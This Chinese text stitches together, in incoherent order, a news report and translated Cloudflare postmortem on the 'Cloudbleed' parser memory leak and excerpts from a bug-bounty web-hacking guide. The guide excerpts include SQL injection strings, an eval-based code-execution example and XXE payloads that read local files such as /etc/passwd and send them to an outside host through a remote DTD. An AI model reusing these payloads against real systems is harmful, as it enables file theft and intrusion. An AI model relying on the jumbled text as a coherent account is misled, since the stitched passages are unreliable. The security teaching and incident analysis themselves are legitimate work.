据外媒报道,知名网络优化服务(CDN)提供商 CloudFlare
最近遭遇了一起严重的泄露事件,包括 cookies、API
键值、以及密码等在内的许多敏感个人信息被曝光。
另据昨晚一篇博文的详细披露,该公司为数百上千万个互联网站点提供
SSL 加密。虽然 CloudFlare
当前暂未证实这批信息被恶意利用,但搜索引擎上的部分缓存又是另一个问题。

HTML注入

HTML
注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。

图片 1

HTML1.jpg

图片 2

图片 3

CRLF注入

CRLF 注入是一类漏洞,在用户设法向应用插入 CRLF
时出现。在多种互联网协议中,包括HTML,CRLF
字符表示了行的末尾,通常表示为 rn ,编码后是 %0D%0A 。在和 HTTP
请求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括
HTTP 请求走私和 HTTP 响应分割。对 HTTP 请求走私而言,它通常在 HTTP
请求传给服务器,服务器处理它并传给另一个服务器时发生,例如代理或者防火墙。这一类型的漏洞可以导致:

  • 缓存污染,它是一种场景,攻击者可以修改缓冲中的条目,并托管恶意页面(即包含JavaScript)而不是合理的页面。

  • 防火墙绕过,它是一种场景,请求被构造,用于避免安全检查,通常涉及
    CRLF 和过大的请求正文。

  • 请求劫持:它是一种场景,攻击者恶意盗取 HTTPOnly 的 Cookie,以及 HTTP
    验证信息。这类似于 XSS,但是不需要攻击者和客户端之间的交互。

    图片 4

    CRLF.jpg

2 月 18 号的时候,在谷歌 Project Zero 安全小组工作的 Travis Ormandy
最先在 Twitter 上爆料了此事。但实际上,这个缺陷或许可以追溯至去年 9 月
22 号。

一、前言

跨站请求伪造

跨站请求伪造,或 CSRF
攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户
的 Web
浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通
常会在用户不知道操作已经执行的情况下发生。
CSRF 攻击的影响取决于收到操作的站点。这里是一个例子:

  1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。
  2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。
  3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob
    银行会话的
    Cookie 信息。
  4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token
    的情况下
    处理了转账。

CloudFlare 表示,规模最大的一次信息泄露始于 2 月 13
日,当时发生的代码异动表明每秒 3,300,300 次的 HTTP
请求可能导致了内存溢出。

上星期五,来自谷歌Project Zero组织的Tavis
Ormandy联系Cloudflare,报告了我们的边界服务器的一个安全问题。他看到经过Cloudflare的一些HTTP请求返回了崩溃的网页。

应用逻辑漏洞

应用逻辑漏洞不同于其他我们讨论过的类型。虽然 HTML 注入、HTML 参数污染和
XSS
都涉及到提交一些类型的潜在恶意输入,应用落地及漏洞实际上涉及到操纵场景和利用
Web APP代码中的 Bug。
这一类型攻击的一个值得注意的例子是 Egor Homakov 对 Github 的渗透,Github
使用 RoR编写。如果你不熟悉 Rails,他是一个非常流行的 Web 框架,在开发
Web 站点时,它可以处理很多繁杂的东西。

Shopify 管理员权限绕过
星巴克竞态条件
Binary.com 权限提升
HackerOne 信号操作
绕过 Gitlab 的双因素认证

重要结论

有多个重要结论:

1. 不要低估你的能力,以及开发者犯错的可能性。HackerOne 是个优秀的团队,拥有  优秀的安全研究员。但是人们都会犯错。挑战你的假设吧。
2. 不要在首次尝试之后就放弃。当我发现它的时候,浏览器每个 Bucket 都不可用,并且我几乎离开了。但是之后我尝试写入文件,它成功了。
3. 所有的东西都在于只是。如果你知道存在了哪种漏洞,你就知道了要寻找以及测试   什么。读这本书就是一个良好的开始。
4. 我之前说过,又再说一遍,一个攻击面要好于站点,它也是公司所使用的的服务。
   要跳出思维定式。

总结
应用逻辑漏洞不一定总是涉及代码。反之,利用它们通产更需要敏锐的观察力,以及跳出思维定式。始终留意其它站点可能使用的工具和服务,因为它们代表了新的攻击向量。这包括站点所使用的来渲染内容的
JavaScript
库。发现它们或多或少都需要代理拦截器,在将其发送到你所利用的站点之前,它能让你玩转一些值。尝试修改任何值,只要它们和识别你的账户相关。这可能包含建立两个不同的账户,以便你有两套有效的凭据,这可能有帮助。同时寻找隐藏或不常用的终端,它可以用于利用
无意中访问的功能。
任何时候一些类型的事务发生时,你也应该留意。始终有一些机会,其中开发者没有在数据库级别处理竞态条件(特别是

图片 5

它出现在一些不寻常的情况下,在下面我将详细介绍,我们的边界服务器运行时缓冲区越界了,并返回了隐私信息,如
HTTP cookies,认证令牌,HTTP
POST体和其他敏感数据的内存。并且有些数据会被搜索引擎缓存。

NoSQL)。也就是说,它们的代码可能会阻止你,但是如果你让代码执行够快,比如几乎同时完成,你就能发现静态条件。确保你多次测试了这个领域内的任何东西,因为每次尝试不一定都发生,就像星巴克的案例那样。最后,要留意新的功能

它通常为测试展示了新的区域。并且如果可能的话,自动化你的测试来更好利用你的时间。

在被缓存的数据中,Ormandy
看到了某约会站点上的预订酒店和密码等完整信息。他在 2 月 19
号写到:

为了避免怀疑,Cloudflare客户的SSL私钥没有泄漏。Cloudflare总是通过一个隔离的Nginx实例来结束SLL连接,因此不受这个bug影响。

跨站脚本攻击XSS

跨站脚本,或者 XSS,涉及到站定包含非预期的 JavaScript
脚本代码,它随后传给用于,用户在浏览器中执行了该代码。

  • 反射型 XSS:这些攻击并不是持久的,意思是 XSS
    传递后通过简单的请求和响应执行。
  • 存储型
    XSS:这些攻击是持久的,或已保存,之后在页面加载时执行给无意识的用户。
  • Self
    XSS:这些攻击也不是持久的,通常作为戏弄用户的一部分,使它们自己执行XSS。

重要结论

 测试任何东西,特别要关注一些场景,其中你所输入的文本渲染给了你。测试来判断你是否可以包含 HTML 或者 JavaScript,来观察站点如何处理它。同时尝试编码输入,就像在 HTML 注入一章中描述的那样。XSS 漏洞并不需要很复杂。这个漏洞是你能找到的最基本的东西 - 一个简单的输入文本字段,这个漏洞并不处理用户输入。它在 2015 年 12 月 21 日发现,并获得了 $500 的
奖金。它所需要的所有东西,就是黑客的思维。

![XSS.jpg](http://upload-images.jianshu.io/upload_images/8191868-78ea76db901eb3d5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

总结
XSS
漏洞对站点开发者展现了真实的风险,并且仍然在站点上流行,通常显而易见。通常简单提交
JavaScript alert 方法的调用, alert('test')
,你可以检查输入字段是否存在漏洞。此外,你可以将它与 HTML
注入组合,并提交 ASCII 编码的字符来观察文本是否被渲染和解释。
在搜索 XSS 漏洞时,这里是要记住的一些事情:

  1. 测试任何东西
    无论你在浏览什么站点以及什么时候浏览,总是要保持挖掘!不要觉得站点太大或者太复杂,而没有漏洞。机会正在注视着你并请求你的测试,就像
    wholesale.shopify.com 那样。Google Tagmanager 存储型 XSS
    漏洞就是寻找替代方案来向站点添加标签的结果。
  2. 漏洞可能存在于任何表单值
    例如,Shopify
    的礼品卡站点上的漏洞,通过利用和上传文件相关的名称字段来时间,并不是实际的文件字段本身。
  3. 总是在测试时使用 HTML 代理
    当你尝试提交来自网站自身的恶意值时,当站点的 JavaScript
    检查出你的非法值时,你可能会碰到假阳性。不要浪费你的时间。通过浏览器提供合法值,之后使用你的代理修改这些值来执行
    JavaScript 并且提交。
  4. XSS 漏洞发生在渲染的时候
    由于 XSS
    在浏览器渲染文本时发生,要确保复查了站点的所有地方,其中使用了你的输入值。逆天家的
    JavaScript
    可能不会立即渲染,但是会出现在后续的页面中。这非常麻烦,但是你要留意站点何时过滤输入,以及转义输出。如果是前者,寻找办法来绕过输入过滤器,因为开发者可能会犯懒,并且不会转义渲染的输入。
  5. 测试非预期的值
    不要总是提供预期类型的值。当 HTML
    雅虎邮件的漏洞被发现时,提供了非预期的HTML IMG
    属性。要跳出思维定式,思考开发者要寻找什么,并且之后尝试提供一些不匹配这些预期的东西。这包含寻找新的方式来执行潜在的
    JavaScript,例如绕过 Google图片的 onmousemove 事件。

我不知道 CloudFlare
背后究竟有多少互联网站点,直到发生了这件事。这包括完整的 https
请求、客户端 IP
地址、完整的响应、cookies、密码、键值、日期等一切内容。

我们快速的确认了这个问题,并关闭了3个Cloudflare功能(邮件混淆,服务端排除和自动HTTPs重写),这些都用来了相同的HTML解析器链,会导致泄漏。这样在一个HTTP响应中就不会有内存返回了。

SQL注入:

SQLi 允许黑客将 SQL
语句注入到目标中并访问它们的数据库。它的潜力是无穷的,通常使其成为高回报的漏洞,例如,攻击者能够执行所有或一些
CURD
操作(创建、读取、更新、删除)来获取数据库信息。攻击者甚至能够完成远程命令执行。
SQLi
攻击通常是未转义输入的结果,输入被传给站点,并用作数据库查询的一部分。它的一个例子是:

$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";

这里,来自用户输入的传入值直接被插入到了数据库查询中。如果用户输入了
test’ or1=1 ,查询就会返回第一条记录,其中 name = test or 1=1
,所以为第一行。现在在其他情况下,你可能会得到:

$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");

这里,如果你使用了相同的载荷,你的语句最后会变成:

$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");

所以这里,查询会表现得有些不同(至少是
MySQL)。我们会获取所有记录,其中名称是 test ,或者密码是 12345
。很显然我们没有完成搜索数据库第一条记录的目标。因此,我们需要忽略密码参数,并能够使用注释来实现,
test' or 1=1;-- 。这里,我们所做的事情,就是添加一个分号来合理结束 SQL
语句,并且立即添加两个短横线(和一个空格)来把后面的所有东西标记为注释。因此不会被求职。它的结果会和我们初始的例子一样。

在 Ormandy 发布了推文之后,CloudFlare
工程师禁用了导致出现问题的三项功能代码,并与搜索引擎方携手清理缓存信息。

因为这个bug的严重性,来自San Francisco和
London的软件工程师、信息安全和操作的交叉功能团队充分了解了潜在的原因,为了降低内存泄漏的影响,和谷歌和其他搜索引擎团队一起将缓存的HTTP响应移除了。

开放重定向漏洞

根据
OWASP,开放重定向出现在应用接受参数并将用户重定向到该参数值,并且没有对该值进行任何校验的时候。
这个漏洞用于钓鱼攻击,便于让用户无意中浏览恶意站点,滥用给定站点的信任并将用户引导到另一个站点,恶意站点作为重定向目的地,可以将其准备成合法站点的样子,并尝试收集个人或敏感信息。

重要结论
我这里再说一遍,不是所有漏洞都很复杂。这里的开放重定向只需要将重定向参数修改
为外部站点。

据了解,Cloudflare 的 EmailObfuscation、Server-SideExcludes 和
AutomaticHTTPS Rewrites 这些函数正是此次泄露的罪魁祸首。

拥有一个全球化的团队,每12小时为间隔,每天24小时交替解决这个问题。团队持续的努力确保了问题的圆满解决。作为服务的一个优势是这个bug从报告到解决,花了几分钟到几小时,而不是几个月。针对这样的bug部署修复方案的工业标准通常是3个月;我们在小于7个小时就圆满解决,47分钟内就缓解了bug。

缓冲区溢出

缓冲区溢出是一个场景,其中程序向缓冲区或内容区域写入数据,写入的数据比实际分配的区域要多。使用冰格来考虑的话,你可能拥有
12 个空间,但是只想要创建 10
个。在填充格子的时候,你添加了过多的水,填充了 11 个位置而不是 10
个。你就溢出了冰格的缓存区。缓冲区溢出在最好情况下,会导致古怪的程序行为,最坏情况下,会产生严重的安全漏洞。这里的原因是,使用缓冲区移除,漏洞程序就开始使用非预期数据覆盖安全数据,之后会调用它们。如果这些发生了,覆盖的代码会是和程序的预期完全不同的东西,这会产生错误。或者,恶意用户能够使用移除来写入并执行恶意代码。

这家公司决定为其边缘服务器开发一个新的 HTML
解析器时,问题就出现了。该解析器是使用 Ragel
编写的,随后转变成机器生成的 C 代码。这段代码存在页面上不成对出现的 HTML
标签触发的缓冲区溢出安全漏洞。这个有缺陷的指针检查源代码本该阻止程序覆盖内存内容:

这个bug是严重的,因为泄漏的内存包含了隐私信息,并且还会被搜索引擎缓存。我们还没有发现这个bug的漏洞利用或者它们存在的报告。

代码执行

远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它而没有任何类型的处理或验证而导致。
看一下这行代码:

var = _GET['page'];

eval($var);

这里,漏洞应用可能使用 URL index.php?page=1 ,但是,如果用于输入了
index.php?page=1;phpinfo() ,应用就会执行 phpinfo
函数,并返回其内容。与之类似,远程代码执行有时用于指代命令注入,OWASP
区分了这两点。使用命令驻入,根据
OWASP,漏洞应用在主机操作系统上执行任何命令。同样,这也由不合理处理和验证用户输入导致,这会导致用户输入传递给操作系统的命令。

/*generated code. p = pointer, pe = end of buffer */
if( ++p == pe )
goto _test_eof;

影响最大的时期是2月13日到2月18号,通过Cloudflare的每3,300,000个HTTP请求中约有1个可能导致内存泄漏(约为请求的0.00003%)。

XML 外部实体注入

XML 外部实体(XXE)漏洞涉及利用应用解析 XML
输入的方式,更具体来说,应用程序处理输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好首先理解什么是
XML 和外部实体。元语言是用于描述其它语言的语言,这就是 XML。它在 HTML
之后开发,来弥补 HTML 的不足。HTML
用于定义数据的展示,专注于它应该是什么样子。房子,XML
用于定义数据如何被组织。

重要结论
这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受 .docx 、 .xlsx 、 .pptx ,以及其它的站点。向我之前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)

最开始,它从站点下载了文件来判断 XML 结构,这里是一个 .gpx
文件,并插入了 *<!DOCTYPE foo [<!ENTITY xxe SYSTEM
“http://www.davidsopas.com/XXE”
> ]>; 。之后它调用了 .gpx 文件中 13
行的记录名称中的实体。并不是必须的,如果它能够服务 /etc/passwd
文件,并将内容渲染在 <name> 元素中。

这产生了发往服务器的 HTTP GET 请求, GET 144.76.194.66 /XXE/ 10/29/15
1:02PMJava/1.7.0_51
。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David能够确认服务器求解了它插入的
XML 并且进行了外部调用。其次,David 使用现存的
XML文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务
/etc/passwd 文件,并将内容渲染在 <name> 元素中。在确认 Wikiloc
会生成外部 HTTP
请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的
XML,来让 Wikiloc 向他发送它们的 /etc/passwd 文件内容。

<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&send;</name>
(...)

总结
XXE
表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成,就像我们之前看到的那样,它能够让漏洞应用打印自己的
/etc/passwd 文件,以 /etc/passwd 文件来调用远程服务器,以及请求远程 DTD
文件,它让解析器来使用 /etc/passwd
文件调用服务器。作为一个黑客,要留意文件上传,特别是那些接受一些 XML
类型的上传,应该始终测试它们是否存在 XXE 漏洞。

结果发生的一幕是,在别的地方,p 变得大于
pe,因而避免了长度检查,让缓冲区得以溢出额外的信息。这最终导致了 Web
会话泄露。

我们感谢它由世界顶级安全研究团队发现并报告给我们。

模板注入

模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具。换句话说,除了拥有接收
HTTP
请求的代码,从数据库查询必需的数据并且之后将其在单个文件中将其展示给用户之外,模板引擎从计算它的剩余代码中分离了数据的展示(此外,流行的框架和内容管理系统也会从查询中分离
HTTP 请求)。

Uber Angular 模板注入
Rails 动态渲染器

总结
搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,或者一些其他地方(例如邮件)渲染给你。

编译自:TheVerge

本文很长,但是作为我们的传统,我们倾向于对我们的服务出现的问题保持开放和技术上的详细描述。

服务端请求伪造

服务端请求伪造,或者
SSRF,是一种类型,它允许攻击者使用目标服务器来代表攻击者自己执行 HTTP
请求。这和 CSRF 类似,因为两个漏洞都执行了 HTTP
请求,而不被受害者察觉。在 SSRF 中,受害者是漏洞服务器,在 CSRF
中,它是用户的浏览器。这里的潜力非常大,包括:

  • 信息暴露,其中我们欺骗服务器来暴露关于自身的信息,在示例 1 中使用
    AWS EC2 元

    数据描述。

  • XSS,如果我们让服务器渲染远程 HTML 文件,其中带有 JavaScript。

ESEA SSRF 和 AWS 元数据请求

如果你正在寻找 SSRF 漏洞,要留意任何在远程内容中拉取的目标 URL。这里,它的标志是 url= 。其次,不要仅限于你的第一想法。Brett 完全能够报告 XSS 载荷,但是这不太深入。通过深入挖掘,它就能发现漏洞的真正价值。但是这样做的时候,要小心不要越界。

来自:cnBeta.COM

二、运行时解析并修改HTML

越界读取

除了越过分配的内容写入数据之外,另一个漏洞时越过内容边界读取数据。这是一类缓冲区溢出,因为内容被越界读取,这是缓存区不允许的。
OpenSSL Heartbleed

很多Cloudflare服务依赖通过我们的边界服务器时解析和修改HTML页面。例如,我们能通过修改HTML页面来插入谷歌分析标签,安全的重写

内存截断

内存截断是一种技巧,用于通过使代码执行一些不常见或者非预期的行为,来发现漏洞。它的效果类似于缓冲区溢出,其中内容在不该暴露的时候暴露了。

一个例子是空字节注入。这发生在提供了空字节 %00 或者十六进制的 0x00
,并导致接收程序的非预期行为时。在
C/C++,或低级编程语言中,空字节表示字符串的末尾,或者字符串的终止符。这可以告诉程序来立即停止字符串的处理,空字节之后的字节就被忽略了。当代码依赖字符串长度时,它的影响力十分巨大。如果读取了空字节,并停止了处理,长度为
10 的字符串就只剩 5 了。例如:
thisis%00mystring
这个字符串的长度应该为 15,暗示如果字符串以空字节终止,它的长度为
6。这对于管理自己的内存的低级语言是有问题的。
现在,对于 Web 应用,当 Web 应用和库、外部 API 以及其它用 C
写成的东西交互的时候,这就有关系了。向 URL 传入 %00
可能使攻击者操作更广泛服务器环境中的 Web
资源。尤其是当编程语言存在问题的时候,例如 PHP,它是使用 C 语言编写的。

PHP ftp_genlist()
Python Hotshot 模块

重要结论
我们现在查看了两个函数的例子,它们的不正确实现都收到了缓冲区溢出的影响, memcpy 和 strcpy 。如果我们知道某个站点或者应用依赖 C 或者 C++,我们就可以遍历还语言的源代码库(使用类似 grep 的东西),来寻找不正确的实现。关键是寻找这样的实现,它向二者之一传递固定长度的变量作为第三个函数,对应被分配的数据长度,在数据复制时,它实际上是变量的长度。
但是,像之前提到的那样,如果你刚刚起步,可能你需要放弃搜索这些类型的漏洞,等你更熟悉白帽子渗透时再回来。

为了修改页面,我们需要读取并解析HTML以发现需要修改的元素。因为在Cloudflare的早期,我们已经使用了用Ragel编写的解析器。一个独立的.rl文件包含一个HTML解析器,被用来在Cloudflare平台修改HTML。

PHP 内存截断

phar_parse_tarfile 函数并没有考虑以空字符开始的文件名称,空字符是值为
0 的字节,即十六进制的 0x00
。在该方法的执行期间,当使用文件名称时,数组会发生下溢(即尝试访问不存在的数据,并超出了数组分配的内存)。这是个重要漏洞,因为它向黑客提供了本该限制的内存的访问权。

在处理自己管理内存的应用时,特别是 C 和 C++,就像缓冲区溢出那样,内存截断是个古老但是仍旧常见的漏洞。如果你发现,你正在处理基于 C 语言的 Web 应用(PHP 使用它编写),要留意内存操作的方式。但是同样,如果你刚刚起步,你可能值得花费更多时间来寻找简单的注入漏洞,当你更熟练时,再回到内存截断。

大约一年前,我们认为Ragel解析器维护起来太复杂,并且我们开始写一个新的解析器(cf-html)来替代它。这个解析器能正确处理HTML5,而且非常非常快且易维护。

我们首先将这个解析器用于自动HTTP重写功能,并一直慢慢地迁移cf-html替换Ragel。

Cf-html和老的Ragel解析器都作为Nginx模块实现,并编译到我们的Nginx构建中。这个Nginx过滤模块解析包含HTML响应的缓冲区(内存块),做出必要的修改,并将缓冲区传递给下一个过滤模块。

这样,引起内存泄漏的bug在我们的Ragel解析器中已存在多年,但是因为我们内部Nginx使用缓冲区的方式,并没有内存泄漏。Cf-html巧妙的改变了缓冲去,导致在cf-html中不会有问题。

因为我们知道了这个bug是由激活cf-html引起的(但是之前我们知道为什么),我们禁用了使用它的3个功能。Cloudflare每个功能都有一个相应的功能标志,我们称之为全局杀手。我们在收到问题细节报告后的47分钟时启用了邮件混淆的全局杀手,并在3小时5分钟后关闭了自动HTTP重写。邮件混淆功能在2月13号已经修改了,并且是内存泄漏的原因,因此禁用它快速地阻止了几乎所有的内存泄漏。

在几秒内,这些功能在全球范围内被禁用。我们确定没有通过测试URI来泄漏内存,并且谷歌的二次校验也一样。

然后,我们发现了第三个功能(服务端排除)也有这个漏洞,但是没有全局杀手开关(它非常老,在全局杀手之前实现)。我们为服务端排除实现了一个全局杀手,并全球部署补丁。从发现服务端排除是个问题到部署补丁只花了3个小时。然而,服务端排除很少使用,且只针对对恶意的IP地址才激活。

三、bug的根因

Ragel代码转化为C代码,然后编译。这个C代码使用经典的C方法,指向HTML文档的指针被解析,并且Ragel自身给用户提供了针对这些指针大量的控制权。因为一个指针错误导致的bug的产生。

/* generated code */ if ( ++p == pe )     goto _test_eof; 

bug的根因是,使用等于运算符来校验是否到达缓冲区的末端,并且指针能够步过缓冲去末端。这是熟知的缓冲去溢出。使用>=代替==来做检验,将跳过缓冲区末端。这个等于校验由Ragel自动生成,不是我们编写的代码。意味着我们没有正确的使用Ragel。

我们编写的Ragel代码包含了一个bug,其能引起指针越界且给了等号校验造成缓冲区溢出的能力。

下面是Ragel代码的一段代码,用来获取HTML标签中的一个属性。第一行说的是它试图找到更多以空格,正斜杠或>结尾的unquoted_attr_char。(:>>是连接符)

script_consume_attr := ((unquoted_attr_char)* :>> (space|'/'|'>')) >{ ddctx("script consume_attr"); } @{ fhold; fgoto script_tag_parse; } $lerr{ dd("script consume_attr failed");        fgoto script_consume_attr; }; 

如果一个属性格式良好,则Ragel解析器跳转到@{}代码块。如果解析属性失败(就是我们今天讨论的bug的开始),那么到$lerr{}。

举个例子,在实际情况下(细节如下),如果web页面以错误的HTML标签结尾,如:

<script type= 

$lerr{ }块将执行,并且缓冲去将溢出。这个例子中$lerr执行dd(“script
consume_attr failed”);(这是个调试语句),然后执行fgoto
script_consume_attr;(转移到script_consume_attr去解析下一个属性)。

从我们的分析中看,这样错误的标签出现在大约0.06%的网站中。

如果你观察仔细,你可能已经注意到@{
}也是一个fgoto,但是在它之前执行了fhold,并且$lerr{
}没有。它没有fhold导致了内存泄漏。

在内部,生成的C代码有一个指针p,指向HTML文档中正在检测的字符。Fhold等价于p–,并且是必要的。因为当错误条件发生时,p将指向导致script_consume_attr失败的字符。

并且它非常重要,因为如果这个错误条件发生在包含HTML文档的缓冲区的末尾,则p将在文档末端的后面(p将是pe+1),且达到缓冲区末尾的校验将失败,p将在缓冲去外部运行。

添加一个fhold到错误处理函数中,能解决这个问题。

四、为什么

上面解释了指针如何运行超过缓冲区的末尾,但是问题内部为什么没有显示。毕竟,这个代码在生产环境上已经稳定很多年了。

回到上面定义的script_consume_attr:

script_consume_attr := ((unquoted_attr_char)* :>> (space|'/'|'>')) >{ ddctx("script consume_attr"); } @{ fhold; fgoto script_tag_parse; } $lerr{ dd("script consume_attr failed");        fgoto script_consume_attr; }; 

当解析器解析超过字符范围时会发生什么,当前被解析的缓冲区是否是最后一个缓冲区是不同的。如果它不是最后一个缓冲区,那么没必要使用$lerr,因为解析器不知道是否会发生错误,因为剩余的属性可能在下一个缓冲区中。

但是如果这是最后一个缓冲区,那么$lerr被执行。下面是代码末尾如何跳过了文件末尾且运行内存。

解析函数的入口点是ngx_http_email_parse_email(名字是古老的,它不止做了邮件解析的事)。

ngx_int_t ngx_http_email_parse_email(ngx_http_request_t *r, ngx_http_email_ctx_t *ctx) {     u_char  *p = ctx->pos;     u_char  *pe = ctx->buf->last;     u_char  *eof = ctx->buf->last_buf ? pe : NULL; 

你能看到p指向缓冲区的第一个字符,pe是缓冲区后的字符,且pe设置为eof。如果这是这个链中的最后一个缓冲区(有boolean
last_buf表示),否者为NULL。

当老的和新的解析器在请求处理时同时存在,这类缓冲区将传给上面的函数。

(gdb) p *in->buf $8 = {   pos = 0x558a2f58be30 "<script type="",   last = 0x558a2f58be3e "",   [...]   last_buf = 1,   [...] } 

上面是数据,last_buf是1。当新的解析器不存在时,最后一个缓冲区包含的数据如下:

(gdb) p *in->buf $6 = {   pos = 0x558a238e94f7 "<script type="",   last = 0x558a238e9504 "",   [...]   last_buf = 0,   [...] } 

最后的空缓冲区(pos和last都是NULL且last_buf=1)接着那个缓冲区,但是如果缓冲区是空的,ngx_http_email_parse_email不会被调用。

因此,只有当老的解析器存在是,最后一个缓冲区包含的数据才有last_buf是0。这意味着eof将是NULL。现在当试图在缓冲区末尾处理一个不完整的script_consume_attr。$
lerr将不会被执行,因为解析器相信(因为last_buf)可能有更多的数据来了。

当两个解析器都存在时,情况是不同的。 last_buf为1,eof设置为pe,$
lerr代码运行。下面是生成的代码:

/* #line 877 "ngx_http_email_filter_parser.rl" */ { dd("script consume_attr failed");               {goto st1266;} }      goto st0; [...] st1266:     if ( ++p == pe )         goto _test_eof1266; 

解析器解析完字符,而试图执行script_consume_attr,
p将是pe。因为没有fhold(这将做p–),当代码跳转到st1266, p增加将超过pe。

然后不会跳转到_test_eof1266(在这将执行EOF校验),并且将超过缓冲区末尾,试图解析HTML文档。

因此,bug潜伏了多年,直到在NGINX过滤器模块之间传递的缓冲区的内部风水随着cf-html的引入而改变。

五、继续寻找bug

在1960和1970年代,IBM的研究展示了bug集中在易错模块中。因为我们在Ragel生成的代码中找到了一个讨厌的指针溢出,所以将谨慎的去查找其他的bug。

信息安全团队的一部分人开始模糊测试生成的代码,来查找潜在的指针溢出。另一个团队使用恶意构造的web网页构建测试用例。软件工程师团队开始手动排查代码问题。

决定在生成的代码中为每个访问的指针显式添加校验,并且计入任何发生的错误。生成的错误被反馈到我们的全局错误记录基础结构,用于分析。

#define SAFE_CHAR ({     if (!__builtin_expect(p < pe, 1)) {         ngx_log_error(NGX_LOG_CRIT, r->connection->log, 0, "email filter tried to access char past EOF");         RESET();         output_flat_saved(r, ctx);         BUF_STATE(output);         return NGX_ERROR;     }     *p; }) 

看到日志如下:

2017/02/19 13:47:34 [crit] 27558#0: *2 email filter tried to access char past EOF while sending response to client, client: 127.0.0.1, server: localhost, request: "GET /malformed-test.html HTTP/1.1” 

每行日志表示一个HTTP请求,可能有泄漏的内存。通过记录问题发生的频率,我们希望得到在错误存在时HTTP请求泄漏内存的次数的统计。

为了针对内存泄漏,下面的东西必须正确:

  • 最后一个缓冲区包含的数据必须以以恶意格式的脚本或者img标签结束
  • 缓冲区必须小于4K长度(否则Nginx可能崩溃)
  • 用户必须开启邮件混淆(因为她同时使用新旧解析器)。

…或者自动HTTPs重写/服务端排除(使用了新解析器)组合另一个使用老的解析器的功能。…并且服务端排除只有在客户端IP具有较差的信誉(即它对大多数访问者不起作用)时才执行。

那就解释了为什么缓冲区溢出导致了内存泄漏的发生的情况如此少。

此外,邮件模糊功能(使用两个解析器,并会使错误发生在大多数Cloudflare网站上)仅在2月13日(Tavis报告的前四天)启用。

涉及的三个功能按如下顺序推出。内存可能泄漏的最早的日期是2016-09-22。

  • 2016-09-22 Automatic HTTP Rewrites 启用
  • 2017-01-30 Server-Side Excludes 整合新的解析器
  • 2017-02-13 Email Obfuscation 部分整合新的解析器
  • 2017-02-18 Google 报告问题给Cloudflare且泄漏结束

最大的潜在威胁发生在2月13号开始的4天内,因为自动HTTP重写没有被广泛使用,服务端排除只对恶意的IP地址才有效。

六、Bug的内部影响

Cloudflare在边界机器上面运行了多个独立的进程,且提供了进程和内存隔离。内存泄漏来自与一个基于Nginx的进程(处理HTTP)。它有一个独立的进程堆处理SSL,图片压缩和缓存,意味着我们很很快判断我们客户的SSL私钥没有泄漏。

然而,内存空间的泄漏包含了敏感信息。泄漏的信息中明显的一个是用于在Cloudflare机器之间安全连接的私钥。

当处理客户网站HTTP请求时,我们的边界机器在机架内,在数据中心内,以及用于记录,缓存和从源Web服务器检索网页的数据中心之间相互通信。

为了响应对互联网公司的监控活动的高度关注,我们决定在2013年加密Cloudflare机器之间的所有连接,以防止这样的攻击,即使机器坐在同一机架。

泄漏的私钥是用于此机器加密的私钥。在Cloudflare内部还有少量的密钥用于认证。

七、外部影响和缓存清除

更关心的事实是大量的Cloudflare客户的HTTP请求存在于转储的内存中。这意味着隐私信息泄露了。

这包括HTTP头,POST数据(可能包含密码),API调用的JSON,URI参数,Cookie和用于身份认证的其他敏感信息(例如API密钥和OAuth令牌)。

